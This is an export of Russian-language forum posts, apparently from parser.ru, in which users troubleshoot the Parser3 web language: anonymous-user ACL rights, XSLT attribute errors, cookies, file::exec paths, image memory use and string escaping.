Как задать права для пользователя, который не авторизован?\
Задача - дать неавторизованному пользователю какие-нибудь права.\
Не знаю, как сделать это в логике данного класса.\
^getRightsToObject[] работает только с правами известных пользователей, как я понимаю...\
\
Хочу сделать, чтобы была группа \"no_user\", ей можно было бы давать права, и неавторизованный чел считался бы членом этой группы... Правильно ли это?"
"56452","Какой смысл причислять кого-то неизвестного системе к группе, которой назначать начальные права. Если пользователь неавторизован, то мы ему и выводим все, что доступно всем, кто неавторизован, т.е. все, что удовлетворяет базовым правам."
"56453","о том как раз и речь.\
просто, похоже, слона-то я и не заметил...\
\
что есть \"базовые права\"? в какой таблице и в каком поле лежат?\
\
--\
еще раз всё просмотрел -- не вижу...\
есть права пользователя на объекты и права пользователя на группы пользователей. ну и всякие маски.\
у объекта есть маска наследования прав, но самих прав-то нет..."
"56454","Да нигде они не хранятся, просто когда выводите страницу, делаете проверку, и если прав хватает на вывод какой-то информации, то выводите, а в противном случае — выводите то, что вам нужно для неавторизованых пользователей."
"56456","(-: понятно\
\
сделаю в таблице, где лежат объекты, поле с правами по-умолчанию.\
хотя, было бы логичнее хранить эти права в таблице acl:\
[code]object_id   auser_id   rights   table_name\
        1          2        7   sections\
        1          0        1   sections\
                   |\
         права неавторизованного юзера[/code]"
"56457","в этом классе существует неавторизированный пользователь\
 и это - [b]owner[/b],  auser_id=1 \
можете относится к нему как пользователю, можете как к группе\
соответственно те права какие [b]вы дадите ему, и получат неавторизированные пользователи[/b], например в таблице прав ACL."
"56458","я знал, что так должно быть ))"
"56459","Приветствую!\
Советую позвонить в службу поддержки Majordomo, озвучить проблему  и указать номера писем, которые были им присвоены при подаче заявки. Так будет быстрее и проще всего.\
\
С уважением, \
pr-менеджер компании Majordomo,\
Ксения Зилист."
"56460","если вы не знаете что за пользователь пришел, как вы можете определить - owner он или нет?"
"56461","но у меня при установке прав auser с id=1 на объекты в таблице ACL их получают неавторизированные пользователи. Класс взят без изменений с примеров недавно."
"56463","скорее всего вы не совсем верно используете метод вычисления прав (точнее не так, как он задумывался). ещё раз, подумайте: как вы можете определить что этот посетитель есть owner объекта (тот, кому принадлежит этот объект), если этот посетитель не сказал кто он такой. тут не надо смотреть код, нужно просто подумать.\
\
методу передается is_owner, этот флаг вы сами как-то формируете и передаете методу. похоже вы устанавливаете его, если считаете права не залогиненного, но это не корректно.\
\
в принципе для того, чтобы выдать права на объекты не залогиненному, я использую поля rights и irf в таблице object. это - права для всех на объект."
"56464","просто почему то я решил что owner это незалогиненный пользователь :)\
и работал с незалогиненными пользователями так\
[code]\
$RIGHTS(^MAIN:objAuth.getRightsToObject[$OBJECT;$OBJECT_THREAD);$ACL;^is_owner.int(1)])\
^if($RIGHTS & $SYSTEM.read)\
{ ...........\
[/code]\
при чем все отлично работало не конфликтуя с пользователями и группами и я прекрасно раздавал права незалогиненным пользователям в ACL\
\
*стыдно"
"56465","ну и зря ))\
я вот хочу завести \"неизвестного\" пользователя. попробую...\
\
но проще, конечно, создать rights в таблице object."
"56466","Простите, я наверно повторяюсь с темой про хостинг, просто мне это очень интересно. Я пока только начинаю изучать этот язык. Скажите, пожалуйста, если вот я сделаю сайт на Парсере, не окажусь ли я в ущербном положении с хостингом. Много ли имеется предложений о хостинге с поддержкой Парсера (платных и бесплатных)? Не могли бы перечислить основные?"
"56467","Любой хостинг с поддержкой cgi"
"56469","Зачем вам это:\
[code]key1[value1] \
key2[value2]\
key3[\
  key4[value4] \
  key5[value5]\
]\
key6[value6][/code]\
\
Если можно так:\
[code]$.key1[value1]\
$.key2[value2]\
$.key3[\
  $.key4[value4]\
  $.key5[value5]\
]\
$.key6[value6][/code]\
\
после чего делаете process вашего хэша и без всяких извр... получаете результат. А где его хранить - дело ваше, это другой вопрос."
"56470","да нет я кстати понял и думал об этом и сам, но уж очень не хотел хранить в данных код\
в принципе можно взять из базы и это\
[code]\
key1[value1] \
key2[value2]\
key3[\
  key4[value4] \
  key5[value5]\
]\
key6[value6]\
[/code]\
и быстренько преобразовать 1 матчем к виду\
[code]\
$.key1[value1]\
$.key2[value2]\
$.key3[\
  $.key4[value4]\
  $.key5[value5]\
]\
$.key6[value6]\
[/code]\
а потом загнать в процесс, тот же самый метод и без рекурсий\
записал себе в TODO сделаю\
\
но все таки интересно почему описанный мой метод начинает работать только когда мишин класс sql достает запрос из кэша а не из бд\
времени нет сейчас лезть в мишин класс :("
"56471","добавил анонимного пользователя в auser,\
сделал ему auser_type_id = 3. переопределил методы класса auth.\
\
Все хорошо, но не удобно, что, как и у Owner, нельзя задать права по-умолчанию. То есть приходится обязательно указывать у каждого объекта, какие права на него имеет Owner и какие Anonym...\
\
А хотелось бы, чтобы: указал у пользователя, что он owner - получай полный доступ (если в объекте не указано что-то другое).\
А если в объекте определены права владельца, то они складываются с остальными правами, как обычно. Но права \"владельца по-умолчанию\" не складываются с явно указанными правами владельца.\
\
\
Ладно, это все [b]бред[/b]..."
"56475","[code]\
	<xsl:template match=\"* | @*\" mode=\"item-indexes\">\
\
		<li>\
			<a href=\"123\">\
				<xsl:variable name=\"name_list\" select=\".\"/>\
				<xsl:value-of select=\".\"/>\
				<xsl:attribute name=\"href\">\
					<xsl:value-of select=\"//content/item/categories/category[@name=$name_list]/@id\"/>\
				</xsl:attribute>\
			</a>\
		</li>\
\
	</xsl:template>\
[/code]\
\
Вызывает ошибку\
[quote]\
runtime error: file /home/b2b/www/xsl/catalog/alpha.xsl line 258 element attribute\
xsl:attribute : node already has children\
runtime error: file /home/b2b/www/xsl/catalog/alpha.xsl line 258 element attribute\
xsl:attribute : node already has children\
runtime error: file /home/b2b/www/xsl/catalog/alpha.xsl line 258 element attribute\
xsl:attribute : node already has children[/quote]"
"56477","[code]	<xsl:template match=\"* | @*\" mode=\"item-indexes\">\
				<xsl:variable name=\"name_list\" select=\".\"/>\
		<li>\
			<a>\
\
				<xsl:value-of select=\".\"/>\
				<xsl:attribute name=\"href\">\
					<xsl:value-of select=\"//content/item/categories/category[@name=$name_list]/@id\"/>\
				</xsl:attribute>\
			</a>\
		</li>\
\
	</xsl:template>[/code]\
\
Таже самая ошибка"
"56478","такое в учебнике по XSLT не найдешь :)\
вместо\
			[code]<xsl:value-of select=\".\"/>\
				<xsl:attribute name=\"href\">\
					<xsl:value-of select=\"//content/item/categories/category[@name=$name_list]/@id\"/>\
				</xsl:attribute>[/code]\
написал\
[code]			\
				<xsl:attribute name=\"href\">\
					<xsl:value-of select=\"//content/item/categories/category[@name=$name_list]/@id\"/>\
				</xsl:attribute>\
<xsl:value-of select=\".\"/>\
[/code]\
тоесть xsl:attribute поместил первым ....\
и работает , может кто обьяснит , почему так происходит?"
"56480","Ситуация следующая. Хостер собрал парсер для solaris. С виду всё работает. Но проблемы с cookie. Следующие.\
Делаю чтение $cookie:user_session на статичной HTML-странице. Всё замечательно читается и работает.\
Но если я пытаюсь прочитать куки из файлов .p, то выдается пустая строка.\
Например:\
файл auto.p\
\
@auto[]\
$user_session[$cookie:user_session]\
\
и потом в index.html пишу\
$cookie:user_session\
\
То выдается пустая строка. Вообще не выдается.\
Аналогично с другими файлами .p:\
\
user.p\
\
@create[]\
$result[$cookie:user_session]\
\
и потом в index.html\
^user:create[]\
тоже ничего не выдает.\
\
Ставим в index.html две строки\
$cookie:user_session\
$MAIN:user_session\
\
Первая выдает строку, вторая ничего не выдает.\
\
Блин."
"56482","Решено, что эта база не достойна внимания в силу огромного количества ошибок. В данный момент [url=\"http://www.parser.ru/forum/users/?uid=1878\"]prog[/url] заканчивает с более корректной и чуть менее подробной (там нет деревень) базой. Думаю, её мы и выложим. :)\
\
Чуть-чуть терпения...\
\
P.S. Может на этом сайте для неё найдётся место?.. :)"
"56483","Как сделаете, присылайте на [url=\"mailto:nikita@astra-design.ru\"]nikita@astra-design.ru[/url], я выложу на http://parser.astra-design.ru/"
"56484","Проблема скорее всего в том что вы вызвали чтение куки в auto[]\
Попробуйте куки в @main[] достать, что получится?"
"56486","Т.е. нужна версия не младше 3.1.4."
"56488","Коллеги, прошу взглянуть незамыленным взглядом. Проверка на содержание запрещенных символов.\
\
[code]$check1[^if(^uri.match[<|>|\\^[|\\^]|\\^^|\\^$|@|`|\\*|~|!|\"|#|&#185;|^;|%|&|\\(|\\)|\\+|\\||=|\\^{|\\^}|\\.|,|/|\\\\|:|\\?|']){1}{0}][/code]"
"56489","1. замените <|>|\\|?... на [<>?...] - это существенно быстрее\
2. если вы объясните что такое \"запрещенные символы\" - может кто и ответит на ваш вопрос, но что-то мне подсказывает, что \\W вместо всего написанного будет достаточно :)"
"56490","вот допустим есть такой XML\
[code]<?xml version=\"1.0\" encoding=\"windows-1251\"?>\
<tree>\
	<item id=\"1\">\
		<item id=\"2\">\
			<item id=\"21\"/>\
			<item id=\"22\"/>\
			<item id=\"23\"/>\
		</item>\
	</item>\
	<item id=\"3\"/>\
	<item id=\"4\"/>\
</tree>[/code]\
я хочу сделать парсерный метод\
@getSubTree[id]\
который будет выдавать например по переданному параметру id==2\
поддерево:\
[code]		\
<item id=\"2\">\
	<item id=\"21\"/>\
	<item id=\"22\"/>\
	<item id=\"23\"/>\
</item>[/code]\
подскажите как это наиболее рационально можно сделать?"
"56493","[code]@getSubTree[id][xml_doc]\
$xml_doc[\
^xdoc::create{\
<?xml version=\"1.0\" encoding=\"UTF-8\"?>\
<tree>\
	<item id=\"1\">\
		<item id=\"2\">\
			<item id=\"21\"/>\
			<item id=\"22\"/>\
			<item id=\"23\"/>\
		</item>\
	</item>\
	<item id=\"3\"/>\
	<item id=\"4\"/>\
</tree>\
}\
]\
$items[^xml_doc.select[/tree/descendant-or-self::item[^@id=$id]]]\
 [/code]\
В итоге items это хеш типа NodeList\
Подробнее в документации по классу XNode"
"56494","т.е. правильно делать так:\
\
[code]\
<xsl:template match=\"a\">\
  <xsl:copy>\
    <xsl:apply-templates select=\"@* except @href\"/>\
    <xsl:attribute name=\"href\" select=\"'bbb'\"/>\
    <xsl:apply-templates select=\"node()\"/>\
  </xsl:copy>\
</xsl:template>\
[/code]"
"56495","[code]$items[^xml_doc.select[/tree/descendant-or-self::item[^@id=$id]]]\
[/code]\
\
syntax error, unexpected ']', expecting '[' or '{' or '('"
"56496","Блин ,\
[code]$items[^xml_doc.select[/tree/descendant-or-self::item^[^@id=$id^]]]\
[/code]\
:)"
"56497","$list[^d.select[/tree/descendant-or-self::item[@id=\"$id\"]]]\
\
ошибку пока т.е. перестало выдавать, что оно там выбирает сейчас буду проверять ещё"
"56498","Я за Вас рад  :)"
"56499","рекурсивно перебирать подузлы?\
я думал, что может быть есть какой-нибудь чудный запрос, который типа как SQL берет часть большой таблицы, смог бы взять часть XML-я (ветку дерева) на заданное количество уровней вниз"
"56500","Да , рекурсивно , есть покрасивее(поизвращенней) способ\
использовать для выборки XSLT преобразование"
"56505","Во гоните а...\
\
1. ^file::exec[mysql < add.sql]\
\
или\
\
2. у самого MySQL есть кажется что-то типа\
LOAD DATA INFILE 'file_name' то есть\
^void:sql{load data infile 'add.sql'}"
"56506","Письмо от службы поддержки:\
\
[b]Здравствуйте,\
\
Нами была произведена замена сервера в свяи с этим возможно и не работает.\
Вам следует поискать версию парсера скомпилированного под архитектуру amd64 вместо той что используется сейчас.\
\
Parser/3.2.1sp2 (compiled on i386-unknown-freebsd6.1)[/b]\
\
Брал отсюда:\
[url=\"http://www.parser.ru/download/freebsd6/\"]http://www.parser.ru/download/freebsd6/[/url]\
— не работает все равно, ругается что [b]./lib/libparser3mysql.so\
driver failed to initialize client library '/usr/local/lib/mysql/libmysqlclient.so.15', can't open the module[/b]\
Кто что думает об этом?"
"56511","Как сделать, чтобы на [b]ОДНОЙ странице[/b] можно было видеть разные кодировки? У меня предполагаются кроме распространенных еще и редкие языки. Единственное, что приходит в голову - использовать image, но это крайний случай. Что делать?"
"56513","Люди, есть у кого-нибудь сборка parser 3.2.1 под Solaris? Сам собирать не могу, а хостинг, как оказалось, на Солярисе."
"56516","А нельзя транспонировать таблицу так, чтобы значения в первом столбце стали названиями столбцов? Интуиция подсказывает, что такая возможность должна быть, однако вижу в руководстве только транспонирование с наименованием столбцов \"0 1 2 3...\""
"56518","Проблема следующая.\
Структура папок на хостинге следующая (дается относительно юзера):\
/cgi-bin/\
/htdocs/\
файл из /htdocs/ вызывает скрипт из /cgi-bin/ (файл nconvert) следующим образом:\
$f[^file::exec[/../cgi-bin/nconvert;;-ratio;-resize;160;picture.jpg]]\
\
Сейчас у меня нет возможности положить nconvert просто в папку /cgi-bin/ и хостер установил его в /usr/local/bin/nconvert\
\
Теперь, когда я делаю\
$f[^file::exec[/usr/local/bin/nconvert;;-ratio;-resize;160;picture.jpg]]\
мне сообщается, что файл по пути\
/var/www/virtual/dishop.ru/htdocs/usr/local/bin/nconvert\
не найден. \
Как заставить парсер читать файл от корня сервера, а не прибавлять путь к своему текущему положению?"
"56519","ну напишите свой код\
навскидку:\
[code]\
@trans[tData][_tFlip]\
$_tFlip[^tData.flip[]]\
$result[^table::create{^_tFlip.menu{^tData.menu{$_tFlip.[^tData.offset[]]}[	]}[^taint[^#0A]]}]\
[/code]"
"56523","Я не вкурсе, что за линк, симлинк и прочее. Если можно - поподробнее. Буду спасибо говорить, если спасёт положение.\
\
Мне всего-то нужно - размер картинки изменить. И жизнь сразу станет прекраснее."
"56524","т.е. узнать где находится:\
[b]/usr/local/lib/mysql/libmysqlclient.so.15'[/b]\
т.е. адрес этого, вместо указанного?"
"56527","Превратил несколько доменов в алиасы, но с очередным вышла загвоздка.\
\
Хостинг Мастерхост. Для доменов-синонимов не поддерживаются почтовые ящики. А они уже есть и активно используются. Что делать в таком случае? Может, симлинк на папку www прокатит?"
"56528","http://www.google.com/search?ie=UTF-8&hl=ru&q=symlink"
"56529","У хостера стоит ограничение на память под процесс - 5% от общей. Лог парсера говорит\
[code][Fri Oct 27 13:20:15 2006] [1241] out of memory: failed to allocate clean 92445952 bytes. heap_used=99958784, heap_free=1732608, bytes_since_gc=93283032, total_bytes=194163232[/code]\
\
Решил замерять память методом из доки\
\
[code]Рекомендуемый способ анализа \
Временно добавьте вызовы… \
^musage[before XXX] \
^musage[after XXX] \
\
…вокруг интересующего вас блока вот этого метода… \
\
@musage[comment][v;now;prefix;message;line] \
$v[$status:memory] \
$now[^date::now[]] \
$prefix[[^now.sql-string[]] $env:REMOTE_ADDR: $comment] \
$message[$v.used $v.free $v.ever_allocated_since_compact $v.ever_allocated_since_start $request:uri] \
$line[$prefix $message ^#0A] \
^line.save[append;/musage.log] \
$result[] \
\
…и проанализируйте журнал. [/code]\
\
Проанализировал. Получил\
\
[code][2006-10-27 15:11:05] 217.117.75.226: before thumb 4980 468 1.47656 [b]7931.81 [/b]/adm/articles/?aid=3752 \
[2006-10-27 15:11:05] 217.117.75.226: after thumb 95260 596 0.976562 [b]98223[/b] /adm/articles/?aid=3752 [/code]\
\
Разницу видите? а знаете что делает код от ДО до ПОСЛЕ? Вот :\
[code]^musage[before thumb]\
			^try{\
				$thumb[^image::measure[/media/$article.id/thumb.jpg]]\
				^thumb.html[\
					$.align[left]\
					$.hspace[10]\
					$.vspace[5]\
				]\
			}{\
				$exception.handled(1)\
			}\
			$thumb[]\
			^memory:compact[]\
			^musage[after thumb][/code]\
\
Прикольно, да? На жпегах жрать 100 мегов.\
\
Померял на нескольких фотках, а заметил, что парсер загинается на фотках снятых Фотоаппаратом. Где-то я слышал про EXIF инфу. Может это из-за нее? Проанализировал фотки в фотошопе - с фотика фотки сожержат очень много инфы, которой нет в обчных фотках из нэта. Как быть? Может кто тут разбирается в графике - подскажите плиз.\
\
Хостер говорит, что мол увеличить не могу - покупай виртуальный сервер, но и там всего лишь 512 РАМа."
"56531","P.S. проверил на своих файлах. на win и той *nix что установлена тут - все ok."
"56532","действительно.\
\
отрезал все комменты\
\
[code]-rmeta  : Remove Metadata (EXIF/IPTC/...)\
-rexifthumb  : Remove EXIF thumbnail[/code]\
\
и все путем - разница в памяти 1-2 кб. Но вот что мне интересно - инфы той может быть ну максимум 200кб - но почему тогда Парсер сжирает 100! мегов? Где-то утечка? Может ПАФ посмотрит? Могу выслать фотки на который парсер загинается для тестирования."
"56534","это сообщение означает о проблеме поиска драйвера.\
пожалуйста, перепроверьте, что файл libparser3mysql.so действительно расположен там, где указано в auto.p\
\
собирать из исходников, в вашем случае, смысла нет, ведь мы знаем, что собранный parser3 тут работает, а значит, с большой вероятностью, и драйвер тоже заработает.\
\
нужно только положить его в нужное место."
"56535","возможно, вы хотите ещё быстрее.."
"56537","молодцы, ну."
"56538","[code]\
#!/bin/sh\
/usr/local/bin/nconvert $*\
[/code]\
поставить атрибуты executable.\
\
и \
[code]\
^file::exec[../exec/nconvert.sh;;…]\
[/code]"
"56539","и посмотреть, как формируются эти запросы.\
очевидно, там что-то не заладилось."
"56540","но нам не нужно было.\
мы считаем, что чем меньше байт тратится на представление, тем лучше."
"56541","какой-то гадкий хак попал в код.\
видимо, автор куда-то спешил."
"56543","Я тоже потестю. У меня жве галереи работают с большими фотками с аппаратов, проблем не замечал, однако, не обращал внимания.\
Если выложите, скормлю их и погляжу на логи."
"56544","[url=\"http://qha.com.ua/img/IMG_5238.JPG\"]http://qha.com.ua/img/IMG_5238.JPG[/url]\
\
[code]Parser/3.2.1sp2 (compiled on x86_64-unknown-linux-gnu)\
Copyright(c) 2001-2005 ArtLebedev Group (http://www.artlebedev.com)\
Author: Alexandr Petrosian <paf@design.ru> (http://paf.design.ru)[/code]\
\
Парсер собран из исходников на ОС CentOS 4.4 Final с xml."
"56545","Под FreeBSD - расход на все действия по генерации превьюшек, замеры всех рисунков и прочего - порядка 200Кб.\
Затра затестю на винде и линуксе."
"56546","код, которым тестировал:\
[code]\
$t[^table::create{name\
#/i/exif/1.jpg\
#/i/exif/2.jpg\
/i/exif/3.jpg\
/i/exif/4.jpg\
}]\
\
^t.menu{\
	^memory:compact[]\
	<p>\
		<h3>$t.name</h3>\
	^run_time{\
		$f[^image::measure[$t.name]]\
	}[v]\
	$f.width x $f.height<br />\
	time: $v.time<br />\
	mem: $v.memory_block<br />\
	mem: $v.memory_kb KB<br />\
	</p>\
}\
[/code]"
"56547","Как можно присвоить переменной (например, $file) определённый код на парсере? Надо чтобы код не выполнялся, т.е. должна получиться строка, которая потом будет записываться файл.\
Как такое организовать?"
"56551","заэкранируйте все спец символы парсера в присваевамом куске кода"
"56552","прокомментируйте пожалуйста предложенный код."
"56553","А нет.\
Вот кусок кода:\
\
[code]\
$string[\\@book\\[\\]]\
^string.save[test.txt]\
[/code]\
\
В файле test.txt получаем \"\\@book\\[\\]\". А должно было быть \"@book[]\""
"56555","символ экранирования в парсер: ^ - птичка\
и в данном контексте экранирование не нужно\
пишите просто\
\
[code]\
$string[@book[]]\
^string.save[test.txt]\
[/code]\
\
а вот если бы нужно было создать строчку вида: $book[bla bla]\
вы бы экранировали спец символы\
[code]\
$string[^$book[bla bla bla]]\
^string.save[test.txt]\
[/code]"
"56556","И обзятельно нужно иметь возможность присвоить многостроковой текст."
"56557","http://phpclub.ru/\
:P"
"56558","другого способа в самом коде получить [b]СТРОКУ[/b] кода нет\
с многострочным текстом проблем также не наблюдаю\
\
испытываете затруднения? тогда приведите пример более подробно что вы хотите сделать, можно с исходником."
"56559","Да, немного затрудняюсь.\
\
Например, нужно переменной $file присвоить следующий кусок кода:\
\
[code]\
^connect[$connect_string]{\
   $w[^table::sql{SELECT ** FROM ** WHERE 1}]\
}\
[/code]\
\
А потом $file нужно записать собственно в файл, например, file.txt.\
\
Как это реализовать? Можно с примером :)."
"56560","Вот, кстати:\
\
[quote]Обратный слеш имеет несколько вариантов использования. В случае если вслед за ним следует символ, не обозначающий букву алфавита, обратный слеш выполняет функцию экранирования и отменяет специальное значение, которое может иметь этот символ. [/quote]"
"56561","[code]\
$file[^^connect[^$connect_string]{\
   ^$w[^^table::sql{SELECT ** FROM ** WHERE 1}]\
}]\
^file.save[test.txt]\
[/code]"
"56563","А какие конкретно символы надо экранировать?\
Только \"$\"?"
"56566","и кстати может скажете зачем вы вообще это делаете?\
если я правильно понимаю вы собираетесь генерировать код непосредственно в ходе выполнения скрипта и потом его записывать? Иначе зачем?\
\
Просто интересно, может быть если более простое решение вашей задачи."
"56567","Следующий код выдает ошибку, при попытке загрузить файл.\
\
[code]@main[]\
<form action=\".\" method=\"post\" enctype=\"multipart/form-data\">\
\
<input name=\"f1\" type=\"file\" accept=\"text/html\">\
<input type=\"submit\">\
\
</form>\
\
^if(def $form:f1){\
	^throw[dsds;dsds;dsdsd]\
}[/code]\
\
Текст ошибки такой:\
Unhandled exception in /: is 'file', it has no string representation [parser.runtime]\
\
То есть, по непонятной причине, когда в запросе передается файл на сервер, то Парсер вылетает на команде ^throw[...] или какой либо ошибке, выдавая странный текст: Unhandled exception in /: is 'file', it has no string representation [parser.runtime]\
\
Что можно сделать?"
"56568","Сдается мне, что вы пытались сделать так:\
[code]^throw[dsds;$form:f1;dsdsd][/code]"
"56569","[quote]Сдается мне, что вы пытались сделать так: \
^throw[dsds;$form:f1;dsdsd][/quote]\
\
Нет, ошибки не было. Я вызывал так ^throw[dsds;dsdsd;dsdsd]. Или вообще пустыми.\
\
Ошибка возникает после ввода файла."
"56570","Нет, я хочу сделать типа самовоспроизведения.\
Т.е. скрипт создаёт скрипт :)."
"56573","мб приведете весь код?"
"56574","приведите пожалуйста полный stack trace и содержимое вашего @unhandled_exception[] со всеми метдами, вызываемыми из него."
"56577","Наличие в error.log фразы \"Terminating process due to...\" и отсутствие с этого момента строчек в \"access.log\" [i]может[/i] свидетельствовать о сбое. Но если у вас два посетителя в сутки, и те приходят днём, это не показатель ;)\
\
А вообще есть специальные uptime checkers - вы платите небольшую сумму за подписку, они с заданным интервалом пингуют ваш сервер и пытаются открывать страницы, фиксируя результат."
"56578","Авария. http://noc.rtcomm.ru/cgi-bin/cust.cgi"
"56579","http://noc.rtcomm.ru/cgi-bin/cust.cgi"
"56580","Опять я :).\
\
Нужно присвоить переменной $file следующее значение:\
[code]@auto[]\
@content[][/code]\
\
Пишу так:\
[code]\
$file[@auto[]\
@content[]]\
[/code]\
\
Выдаёт ошибку:\
[quote]syntax error, unexpected BAD_METHOD_DECL_START, expecting STRING or '$' or '^'[/quote]\
\
\
Когда убираю второй метод, всё становиться нормально.\
Добавление птички перед собакой тоже выдаёт ошибку."
"56582","$file[\
@auto[]\
@content[]\
]\
Мне кажется, нужно знак перехода каретки на новую строку ему дать"
"56583","Всё равно выдаёт ошибку.\
Как быть?"
"56584","обманите его на объявлениях вида: \
[b]@чета-там[/b]\
\
\
например так:\
\
[code]\
$string[\
^taint[@auto[]]\
^taint[@content[]]\
]\
[/code]"
"56585","P.S. для парсера это совсем не типовая задача\
P.P.S. знаю ещё пару вариантов"
"56586","[b]Misha v.3[/b], большое спасибо :). Респект! :)"
"56587","@main[]\
\
$blank[^image::load[/img/blank.gif]]\
^blank.font[0123456789;/img/cifri.gif](0;28)\
^blank.text(388;121)[2334324]\
\
$response:body[^blank.gif[]]"
"56590","Parser почему то криво записывает теги в MySQL базу данных.\
До записи теги выглядят так: <b>bold</b>.\
А в мускул базе получается: &lt;b&gt;bold&lt;/b&gt;\
Как обойти такой недостаток?"
"56591","меняется при выводе.\
читайте доку/примеры про taint/untaint и FAQ о том, как задавать вопросы, касающиеся парсерного кода.\
\
тред закрыт."
"56592","Называется пытался улучшить себе жизнь:\
\
[code]\
@printExceptionSource[exception][result]\
^if(def $exception.source){\
	$result[<tr style=\"font-size:135%\">\
		<td valign=\"top\"><b>Источник:</b></td>\
		<td width=\"15px\"></td>\
		<td valign=\"top\">\
			^if($exception.source eq throw){\
				Пустой вызов оператора ^^throw^[^].\
			}{\
				<pre>$exception.source</pre>\
			}\
		</td>\
	</tr>\
	<tr><td height=\"5px\" colspan=\"3\"></td></tr>]\
}\
\
@printExceptionComment[exception][result]\
^if(def $exception.comment){\
	$result[<tr>\
		<td valign=\"top\"><b>Описание:</b></td>\
		<td width=\"15px\"></td>\
		<td valign=\"top\">^untaint[html]{$exception.comment}</td>\
	</tr>\
	<tr><td height=\"5px\" colspan=\"3\"></td></tr>]\
}\
\
@printExceptionType[exception][result]\
^if(def $exception.type){\
	$result[<tr>\
		<td valign=\"top\"><b><nobr>Тип ошибки:</nobr></b></td>\
		<td width=\"15px\"></td>\
		<td valign=\"top\">$exception.type</td>\
	</tr>]\
}\
\
@unhandled_exception_debug[exception;stack]\
^fatal_error[ОШИБКА НА САЙТЕ;][\
	<h1>Ошибка на сайте</h1>\
	<table border=\"0\" cellspacing=\"0\" cellpadding=\"0\" class=\"tbl\">\
		^printExceptionSource[$exception]\
		^printExceptionComment[$exception]\
		^printExceptionType[$exception]\
	</table>\
	^if($stack){\
		<div style=\"overflow: auto^; height: 250px^; width: 100%\">\
#			<hr noshade size=\"1\"/>\
			<table width=\"100%\" border=\"0\" cellspacing=\"0\" cellpadding=\"0\">\
				<tr bgcolor=\"#F9CFBA\" style=\"font-size:110%\">\
					<td>&#0160^;</td>\
					<td valign=\"top\" colspan=\"3\"><tt>^spec[$exception.file]</tt></td>\
					<td>&#0160^;&#0160^;&#0160^;&#0160^;</td>\
					<td valign=\"top\" align=\"right\"><tt>$exception.lineno</tt></td>\
					<td>&#0160^;&#0160^;&#0160^;&#0160^;</td>\
					<td valign=\"top\" align=\"right\"><tt>$exception.colno</tt></td>\
					<td>&#0160^;</td>\
				</tr>\
				^stack.menu{\
					<tr bgcolor=\"^color[#F5F5D6;]\">\
						<td>&#0160^;</td>\
						<td valign=\"top\"><tt>^spec[$stack.file]</tt></td>\
						<td>&#0160^;&#0160^;&#0160^;&#0160^;</td>\
						<td valign=\"top\"><tt>$stack.name</tt></td>\
						<td>&#0160^;&#0160^;&#0160^;&#0160^;</td>\
						<td valign=\"top\" align=\"right\"><tt>$stack.lineno</tt></td>\
						<td>&#0160^;&#0160^;&#0160^;&#0160^;</td>\
						<td valign=\"top\" align=\"right\"><tt>$stack.colno</tt></td>\
						<td>&#0160^;</td>\
					</tr>\
				}\
			</table>\
		</div>\
	}\
	^if(def $form:fields){\
		<h1>Поля формы</h1>\
		<div style=\"overflow: auto^; height: 120px^; width: 100%\">\
			<table border=\"0\" cellspacing=\"0\" cellpadding=\"0\" class=\"tbl\">\
				^form:fields.foreach[name;value]{\
					<tr>\
						<td valign=\"top\"><b>$name</b></td>\
						<td width=\"15px\"></td>\
						<td valign=\"top\">= $value</td>\
					</tr>\
				}\
			</table>\
		</div>\
	}\
]\
\
@spec[filespec]\
$trim(^filespec.length[] - ^request:document-root.length[])\
$result[^if($trim > 0){^filespec.right($trim);$filespec}]\
\
# старый добрый color: каждый четный вызов возвращает $color1, каждый нечетный - $color2\
# вызов без параметров - сброс последовательности\
@color[color1;color2][c]\
^if(!def $color_switcher){$color_switcher(0)}\
$c[${color1}${color2}]\
^if(def $c){\
	$result[^if(^color_switcher.int[] % 2){$color1}{$color2}]\
	^color_switcher.inc[]\
}{\
	$result[]\
	$color_switcher(0)\
}\
\
@unhandled_exception_release[exception;stack]\
^fatal_error[Ошибка на сервере;;\
	<p>Ваш запрос не может быть выполнен.</p>\
	<p>Свяжитесь с системным администратором $env:SERVER_ADMIN\
	и проинформируйте его об ошибке.</p>\
]\
\
@unhandled_exception[exception;stack]\
#use debug version to see problem details\
#^unhandled_exception_release[$exception;$stack]\
^unhandled_exception_debug[$exception;$stack]\
[/code]"
"56593","Хостинг Majordomo.ru , после смены системы пришлось менять парсер.\
И теперь проблема — не находит классы.\
Классы лежат в /../classes/m_classes/\
т.е. вне веб-пространства.\
Файл класса operators.p загружаю в корневой auto.p , т.е. пишу:\
[code]@USE\
operators.p[/code]\
При этом в директории cgi-bin в конфиг. auto.p в методе @auto[] строка обьявляющая классы:\
[code]$CLASS_PATH[/../classes/m_classes][/code]\
И вот, возникает ошибка:\
[b]operators.p\
not found along MAIN:CLASS_PATH[/b]\
\
а если я пишу в корневом auto.p, т.е. обьявляю класс operators.p вот так:\
[code]@USE\
/../classes/m_classes/operators.p[/code]\
То возникает такая ошибка:\
[b]/usr/local/apache/htdocs/../classes/m_classes/operators.p\
read failed: No such file or directory (2), actual filename '/usr/local/apache/htdocs/../classes/m_classes/operators.p'[/b]\
\
Не пойму в чем дело, раньше то первый вариант работал, а теперь нет, что могло привести к такой проблеме?"
"56597","auto.p\
[code]\
@conf[filespec]\
$confdir[^file:dirname[$filespec]]\
$request:document-root[$confdir/../htdocs]\
[/code]"
"56599","Тогда вот такая ошибка:\
[b]/: './../htdocs/../classes/m_classes/operators.p' read failed: No such file or directory (2), actual filename './../htdocs/../classes/m_classes/operators.p' [file.missing][/b]"
"56600","PAF имел ввиду вот что :\
Вы пишите код предложенный пафом в auto.p который лежит у вас в директории с интерпритатором парсера (CGI-BIN) как правило на хостингах каталоги сgi-bin и htdocs (или как он у вас там называеться тот каталог куда кладуться htmlки) лежат в одном каталоге , тоесть написав\
$request:document-root[$confdir/../htdocs]\
паф имел ввиду именно это , если у вас cgi-bin лежит прямо в htdocs ... то надо написать $request:document-root[$confdir/../../htdocs]\
\
или я не вьезжаю :)\
\
А вообще \
/usr/local/apache/htdocs/../classes/m_classes/operators.p\
зачем , если можно класс_патх прописать нормально , тоесть без всяких там точек"
"56602","В $CLASS_PATH указывается путь от корня веб-пространства. Следовательно, если файлы лежат вне веб-пространства, то надо подниматься на уровень выше посредством точек :)"
"56604","Косяк со скачкой парсера с вашего сайта"
"56605","... со страницы парсера для FreeBSD"
"56606","там в коде ещё есть проверка прав доступа \
\
[code]^if(^access[]){\
....\
генерим и возвращаем картинку\
....\
}{\
у вас нет доступа\
}[/code]\
